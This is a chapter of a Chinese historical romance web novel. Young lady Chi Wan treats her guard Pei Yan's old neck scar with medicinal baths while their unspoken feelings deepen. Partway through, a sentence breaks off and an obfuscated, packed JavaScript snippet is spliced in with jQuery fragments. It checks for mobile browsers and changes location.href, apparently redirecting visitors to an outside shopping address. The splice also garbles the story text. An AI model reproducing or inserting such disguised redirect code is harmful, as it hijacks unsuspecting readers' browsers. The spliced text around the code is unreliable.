三日后，戌时三刻。


    净室里的灯比上次多点了两盏，将绢素屏风照得透亮些，上面绘着的山水墨影在热气中微微晃动。


    池婉坐在矮凳上，手里捧着记录册页，指尖无意识摩挲着纸缘。


    外头风声阵阵，窗纸被吹得簌簌作响。


    她想起裴衍上次的话，心头莫名紧了紧。


    脚步声由远及近，停在门外。


    “小姐。”是裴衍的声音，平稳无波。


    “进来吧。”池婉清了清嗓子。


    门被推开，他依旧是一身靛青侍卫服，腰束得紧，佩刀已解下挂在门外。烛光将他高大的影子投在屏风上，轮廓分明。


    两人隔着屏风，一时都没说话。


    池婉听见窸窣的衣料摩擦声，是他正在解外袍的系带。


    那声音极轻，但在过分安静的室内，却清晰得让人耳根发热。


    她忙低下头，假装翻阅册页，墨字在眼前晃，却一个字也没看进去。


    水声响起，比上次从容了些。他踏入浴桶，带起轻微的水波。


    照例问答开始，他的回应依旧简短，但比上次具体。


    说到左肩胛下的酸胀感时，他顿了顿，补充道：“似有针刺之感，但……过后松快些。”


    池婉认真记下，顺势道：“常公子信中特别提到，若出现针刺感便是药力深入筋骨，是极好的征兆。他这方子果然……”


    “小姐。”裴衍忽然打断她，声音隔着屏风，带着水汽氤氲后的微哑，却有种清晰的打断力。


    池婉一怔，笔尖停在纸上。


    “属下斗胆一问，”他的语速很慢，字字清晰，“此次调理，究竟是陈老先生做主，还是那位……常公子？”


    池婉心头猛地一跳，她没想到他会直接问出来。


    她攥紧了册页，稳住声音：“自是陈爷爷做主，常公子只是提供了几张古方参考，最终定夺都是陈爷爷亲自做的。你……为何忽然问这个？”


    室内陷入一种微妙的寂静。


    只有烛火偶尔噼啪炸响，和药汤热气升腾的微弱嘶声。


    “无事。”他终于开口，声音恢复了平日的低沉无波，“只是觉得，小姐似乎很看重那位常公子。”


    池婉脸颊倏地发热。


    这话里的意味太明显，她岂会听不出？一时竟不知是羞是恼，还有些说不清道不明。


    她深吸一口气，决定不在此刻纠缠，便强行转回正题：“既是陈爷爷定的方，你便安心用着。如今感觉针刺，便是对了症。你且忍一忍，莫要乱动。”


    “……是。”


    接下来的时间里，裴衍的话又变少了。


    药浴过半，池婉起身端雪梨羹。


    当她目光无意扫过屏风边缘，看见那道疤痕泛起的淡红时，心头剧震，但这一次，她没有慌乱移开视线，也没有逃回座位。


    她站在原地，看着那道淡红色的痕迹，一个念头清晰而坚定地涌上来。


    她轻轻将炖盅放在矮几上，然后，做了一个大胆的决定。


    “裴衍。”她的声音很轻，却很稳。


    “小姐？”他似乎察觉她没走，声音带上一丝疑惑。


    “我方才看见，”池婉一字一句，说得清晰，“你颈侧那道旧伤，在热气药力之下，颜色已从紫黑转为淡红。”


    屏风后，一切声响骤然停止。连呼吸声都仿佛消失了。


    池婉能想象到他此刻身体的僵硬。她继续道，语气柔和却不容置疑：“这是血气活络、瘀滞化开的明证。药浴……是有效的。”


    她顿了顿，给了他消化这句话的时间，然后抛出真正想说的话：“所以，你自己……真的不曾留意过吗？哪怕一次……”


    又是令人窒息的沉默。


    就在池婉以为他绝不会回答，准备放弃时，屏风后传来极低、极哑的一声：


    “……看过。”


    “那……你觉得，这淡红色，比从前的颜色，可好一些？”她追问，声音轻得像怕惊扰了什么。


    又是沉默。然后，她听到一声几不可闻的吐息，仿佛将积压许久的什么东西，轻轻呼出了一点。


    “……嗯。”


    一个简单的鼻音，却比千言万语更让池婉眼眶发热。他承认了，承认了变化。


    她没有得寸进尺，只是用最平静自然的语气，说出了盘桓在她心中已久的念头：“陈爷爷说，药浴疏通气血之后，若能佐以针灸，引药力直达经筋深处，效果会更好，淡化的速度……也会快上许多。”


    “当然，”她飞快地补充，语气如常，“针灸需在颈后下针，非同小可。此事不急，你且慢慢考虑。药浴我们照旧。”


    说完，不等他反应，她便端起空的炖盅，柔声道：“雪梨羹看来合你口味，明日我再炖。时辰到了，我先出去，你更衣吧。”


    她转身离开，轻轻带上门。


    她靠在廊柱上，仰头望向漆黑的天幕。


    今夜无星无月，云层压得很低。


    想来这夜里，恐怕又将有大雨。


    门内传来窸窣的穿衣声，很快便停了。


    “小姐，可以进来了。”裴衍的声音隔着门板传来。


    池婉推门而入。


    他已穿戴整齐，墨发还湿着，用一根简单的木簪束在脑后。


    两人对视了一瞬，又同时移开视线。


    裴衍躬身行了一礼：“属下告退。”


    “嗯，”池婉点点头，“夜路黑，当心些。”


    他脚步顿了顿，终究没再说什么，转身推门而出。


    门外夜风灌入，吹得烛火剧烈摇曳。池婉望着他消失在夜色中的背影，久久没有动作。


    许久，她才缓缓走到屏风旁。


    浴桶里的药汤还未完全冷却，深褐色的水面上飘着几片草叶，散发着苦涩的清香。


    池婉伸手，指尖轻轻拂过屏风上他方才倚靠的位置。绢素面料微温，还残留着些许湿气。


    不远处的角落里，昏黄的窗纸上，映出一道挺拔的剪影。


    池婉驻足看了一会儿，唇角弯起一个清浅的弧度，转身朝自己的院落走去。


    夜色已深，细雨未停。


    整座宅院都静悄悄的，只有她自己的脚步声，在湿润的石板路上轻轻响着。


    可隔着一道院门，她总感觉能听见一阵一阵的刀鞘摩擦的声音。


    她停下脚步，回头望了一眼。


    窗纸上已不见刚才那道清晰的剪影，但他一定还在里面。


    也许，他也正听着这边的动静。


    这个念头让池婉心头微微一跳，脸上有些发热。她赶紧转过身，加快步子往回走。


    真是的，她在胡思乱想些什么。


    回到房中，池婉并未立刻歇下，她取出陈靖给的方子，目光落在针灸配穴那几行小字上。


    风池、天柱、大椎……皆在颈后。


    她指尖轻抚过那几个穴位的名字，这最后一步，或许才是最难的一步。


    窗外雨声渐沥，她轻轻叹了口气，将方子仔细收好。


    路要一步一步走。


    至少今夜，她看到了那道疤染上生机。


    这就够了。


    -


    转眼，又到了药浴的日子。


    这三日，裴衍有些躲着池婉。


    并非刻意，只是校场的差事似乎忽然多了起来，回府的时辰总卡得极巧，错开她常在园中散步的时候。


    池婉察觉了。


    她没说什么，照旧去千草居，照旧配药，只是偶尔走过回廊，目光会下意识搜寻那个挺直的身影，然后轻轻抿唇。


    她知道他在想什么。


    戌时将至，净室。


    池婉看着新调配的药汤，有些出神。


    窗外暮色渐合，她忽然不确定他今晚会不会来。


    “吱呀——”


    门被推开，裴衍站在门口，眉宇间比往日多了些不易察觉的倦色。


    “小姐。”他垂眸行礼。


    “来了？”池婉转身，尽量让声音听起来如常，“今日添了伸筋草，气味可能重些。”


    “是。”他应道，目光扫过屏风后的浴桶，又迅速移开。


    短暂的沉默。空气里弥漫着药香和一丝说不清的凝滞。


    池婉走到桌边，拿起记录册页，背对着他，轻声开口：“你若觉得不便……今日可以不泡。”


    这话让裴衍一怔。他抬眼看向她的背影，纤细，却带着一种执拗的温柔。


    “将军的旧伤……”他喉结动了动，声音有些干涩。


    “父亲的药方，陈爷爷会另拟。”池婉打断他，转过身，目光清澈地看着他，“裴衍，我从一开始，想治的就是你的伤。”


    她终于说了出来。不再假借父亲之名。


    裴衍瞳孔微缩，手指蓦地收紧。他看着她，唇线抿得死紧，像在抵御什么汹涌的情绪。


    池婉却不闪不避，继续道：“药浴你若愿意，我们继续。针灸的事……你不必现在回答。我给你时间。”


    她将选择权，完整地交还给他。连同她的关切，她的心意，都明明白白摊开在他面前。


    裴衍的呼吸重了几分。他避开她的视线，看向那氤氲着热气的屏风。颈后的旧伤，似乎在这一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236478|195477||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻隐隐发烫。


    许久，他极低地吐出两个字。


    “继续……”


    池婉心口一松，这才发觉自己一直屏着呼吸。她点点头，侧身让开：“那……开始吧。”


    这一次，他解衣入水的声音格外清晰，也格外缓慢。


    池婉坐在屏风外，听着水声，没有立刻提问。她给他时间适应。


    烛火噼啪一声。


    “水温……”她终究还是开了口，声音比平日更软。


    “尚可。”他的回答很快，顿了顿，补充道，“药气……很冲。”


    一句平常的反馈，却让池婉嘴角微微弯起。他肯具体描述，便是还在配合，没有彻底封闭自己。


    “伸筋草性子烈，专攻筋络淤堵。你若觉得肩胛处有拉扯感，是正常的。”她解释道。


    “……嗯。”


    又是一阵沉默。但这次的沉默，不再全是紧绷，多了些各自思量的余地。


    池婉翻了翻册页，忽然问：“你这两天……校场很忙？”


    屏风后的水声停了停。


    “还好。”他答，然后似乎觉得太过简短，又道，“春训，事务多些。”


    “哦。”池婉应了一声，指尖无意识地划过纸页。


    她没再追问。有些事，点到即止。他能解释一句，已是不易。


    接下来的问答回归正轨。关于旧伤，裴衍的回答依旧简略，但池婉注意到，当问及颈部的感觉时，他沉默的时间比以往都长。


    长到池婉以为他不会回答时，他才低声道：


    “看着……似乎好了一些。”


    池婉握笔的手一紧，他终于有点正常的反应了。


    “陈爷爷说，气血活络了，筋结松了，外表自然会有变化。”她声音放得极柔，像怕惊扰了什么，“这都是你自己忍过来的。”


    屏风后，只有细微的水波晃动声。


    他没有接话。但池婉觉得，他听进去了。


    药浴过半，池婉照例起身。


    她今日备的不是雪梨羹，而是一小罐温在热水里的杏仁茶。


    她将白瓷盅放在矮几上，正要退回——


    脚下不知绊到了什么，可能是铺地的席子卷了边。


    “啊！”她低呼一声，身子朝屏风方向歪去。


    “小姐！”裴衍的声音骤然响起，带着罕见的急厉。


    与此同时——


    “哗啦！”


    水花剧烈溅起的声音！屏风被一股力量从后面猛地撞得摇晃！


    池婉慌忙扶住桌沿站稳，惊魂未定地抬头。


    就在屏风剧烈晃动尚未稳住的刹那，透过那层变得有些歪斜的绢素，她看见了——


    氤氲水汽中，一道猛然站起的、精悍而赤/裸的背影。水珠沿着宽阔的肩背滚落，没入水中。湿透的黑发贴在颈侧，而颈侧那道疤痕，在热气与晃动光影中，呈现出一种近乎脆弱的淡粉色。


    仅仅一瞬。


    “砰！”屏风被里面的人用力扶正，隔绝了一切。


    池僵在原地，脸颊瞬间烧透，连耳根都烫得惊人。心脏在胸腔里狂跳，几乎要撞出来。


    屏风后，是死一般的寂静。只有压抑到极致的沉重呼吸声。


    “对……对不起！”池婉慌忙背过身，语无伦次，“我、我没站稳……我不是故意的……你、你……”


    她“你”了半天，说不下去。脑子里全是刚才那一瞥的画面，混乱又灼人。


    良久，屏风后传来裴衍沙哑至极、仿佛从喉咙里碾出来的声音。


    “……小姐无事便好。”


    每一个字，都绷得像拉满的弓弦。


    池婉再不敢停留，也顾不上记录，匆匆抓过册页，丢下一句“我、我先出去！你慢慢来！”，便逃也似地拉开门，冲进了微凉的夜色里。


    门外，她靠在冰凉的廊柱上，捂着滚烫的脸，大口呼吸。


    完了。


    她好像……把一切都搞砸了。


    而净室内，裴衍沉在已然微凉的水中，闭着眼，额头抵在坚硬的桶壁上。


    水下的双手，紧握成拳，指节泛白。


    许久，他才缓缓睁开眼，目光落在屏风边矮几上。


    那里，除了那盅杏仁茶，还静静躺着一个素白的小瓷瓶。是池婉慌乱中落下的，一瓶舒络油。


    他盯着那瓷瓶，眼神复杂汹涌。最终，还是伸手，将它紧紧攥入掌心。


    瓷瓶冰凉，却灼得他心头一片滚烫的刺痛。


    窗外，夜风拂过，带来远处隐约的桃花香。


    而有些东西，在今夜之后，再也无法回到从前了。